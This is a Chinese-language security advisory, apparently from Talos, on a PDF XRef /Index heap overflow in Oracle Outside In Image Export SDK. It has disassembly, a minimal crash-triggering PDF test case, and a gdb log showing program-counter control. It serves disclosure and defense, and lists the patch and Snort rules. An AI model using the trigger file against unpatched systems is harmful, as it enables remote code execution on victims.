Oracle OIT 图像导出 SDK libvs_pdf XRef 索引代码执行漏洞

作者：Aleksandar Nikolic 和 Jaeson Schultz。

Talos 最近在 Oracle 的 Outside In Technology 图像导出 SDK 中发现了一个漏洞。攻击者可以利用该漏洞造成堆溢出，从而可以执行任意代码。该漏洞存在于图像导出 SDK 对可移植文档格式 (PDF) 文件的解析过程中。

在解析含有 Xref 对象的 PDF 文件时，/Index 条目的值会被用于处理解码流。如果 /Index 条目指定含有大量对象的格式错误的 PDF 文件，则会导致内存覆盖跨越已分配缓存区的结尾，覆盖相邻的堆块。

此漏洞位于 libvs_pdf.so 中的 sub_B74EB0EE 函数中（装载基址为 0xB74BF000）。堆结构从以下代码开始，以 16 字节的增量重复：

```
.text:B74EC5D6              mov     eax, [esp+0AFCh+var_A58]
.text:B74EC5DD              shl     eax, 4
.text:B74EC5E0              lea     eax, [edx+eax]
.text:B74EC5E3              lea     edi, [eax+10h]                  [1]
.text:B74EC5E6              mov     [esp+0AFCh+var_A38], 0
.text:B74EC5F1
.text:B74EC5F1 loc_B74EC5F1:
.text:B74EC5F1              cmp     word ptr [edi-2], 0
.text:B74EC5F6              jnz     loc_B74EC856
.text:B74EC5FC              cmp     [esp+0AFCh+var_A61], 0
.text:B74EC604              jnz     loc_B74EC7FA
.text:B74EC60A              mov     word ptr [edi-4], 1             [2]
.text:B74EC610
.text:B74EC610 loc_B74EC610:
.text:B74EC610              mov     edx, [esp+0AFCh+var_A40]
.text:B74EC617              mov     eax, esi
.text:B74EC619              call    sub_B74C40A6
.text:B74EC61E              mov     [edi-0Ch], eax                  [3]
.text:B74EC621              add     esi, [esp+0AFCh+var_AD4]
.text:B74EC625              cmp     [esp+0AFCh+var_A63], 0
.text:B74EC62D              jnz     loc_B74EC7E5
.text:B74EC633              mov     dword ptr [edi-8], 0            [4]
...
.text:B74EC640              add     [esp+0AFCh+var_A38], 1
.text:B74EC648              add     edi, 10h                        [5]
.text:B74EC64B              mov     eax, [esp+0AFCh+var_A50]
.text:B74EC652              sub     eax, [esp+0AFCh+var_A58]
.text:B74EC659              cmp     [esp+0AFCh+var_A38], eax
.text:B74EC660              jnz     short loc_B74EC5F1              [6]
```

在上面的代码片段中，指向重复结构的初始指针在 [1] 处从 `eax` 衍生为 `edi`。在 [2]、[3] 和 [4] 处，根据所采用的分支，会在 `edi` 加上偏移值所指向的内存地址写入不同的值。在 [5] 处，`edi` 递增，而在 [6] 处，代码执行会跳回到循环的开头。循环的执行次数由 /Index 条目中指定的对象数量限定。

以下是一个简写的崩溃测试用例：

```
%PDF-1.6
%
1 0 obj <<
      /Filter/FlateDecode
      /Index[40 20]
      /Length 55
      /Size 6
      /Type/XRef
      /W[0 1 0]>>
      stream
      ...
      endstream
      endobj
startxref
116
%%EOF
```

在这个示例 PDF 文件中，/Size 的指定值为 6，但 /Index 声明的对象流包含从对象编号 40 开始的 20 个对象的引用。

上面提供的最低限度的测试用例即可触发此漏洞，并导致堆损坏和函数指针覆盖。此函数指针在后面会被取消引用，造成直接的程序计数器控制。此漏洞可以通过随 SDK 提供的 `ixsample` 程序触发。

```
Starting program: /home/ea/oit_pdf/sdk/demo/ixsample trigger asd
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41454145 ('EAEA')
EBX: 0xb7af5b54 --> 0x36b98c
ECX: 0x1
EDX: 0x804eaf0 --> 0x0
ESI: 0xbfffd298 --> 0xa ('\n')
EDI: 0x80b6b68 (0x080b6b68)
EBP: 0xb74eec64 ("Prev")
ESP: 0xbfffd23c --> 0xb78673ce (mov    edx,DWORD PTR [edi+0x10])
EIP: 0x41454145 ('EAEA')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
```

```
Invalid $PC address: 0x41454145
[----------------------------------stack-----------------------------------]
0000| 0xbfffd23c --> 0xb78673ce (mov    edx,DWORD PTR [edi+0x10])
0004| 0xbfffd240 --> 0xb74eec64 ("Prev")
0008| 0xbfffd244 --> 0x0
0012| 0xbfffd248 --> 0xbfffd274 --> 0x0
0016| 0xbfffd24c --> 0xb74f6998 --> 0x3787c
0020| 0xbfffd250 --> 0xbfffd298 --> 0xa ('\n')
0024| 0xbfffd254 --> 0xbfffdd90 --> 0x0
0028| 0xbfffd258 --> 0xb74eec64 ("Prev")
[--------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41454145 in ??()
gdb$
```

2016 年 4 月 19 日，Oracle 发布了解决这个漏洞的图像导出 SDK 补丁版本。Talos 已通过 Snort 规则 37505 和 37506 解决以 TALOS-CAN-0086 为目标的漏洞攻击。

发布者：Jaeson Schultz；发布时间：上午 10:39

标签：Oracle、远程代码执行、漏洞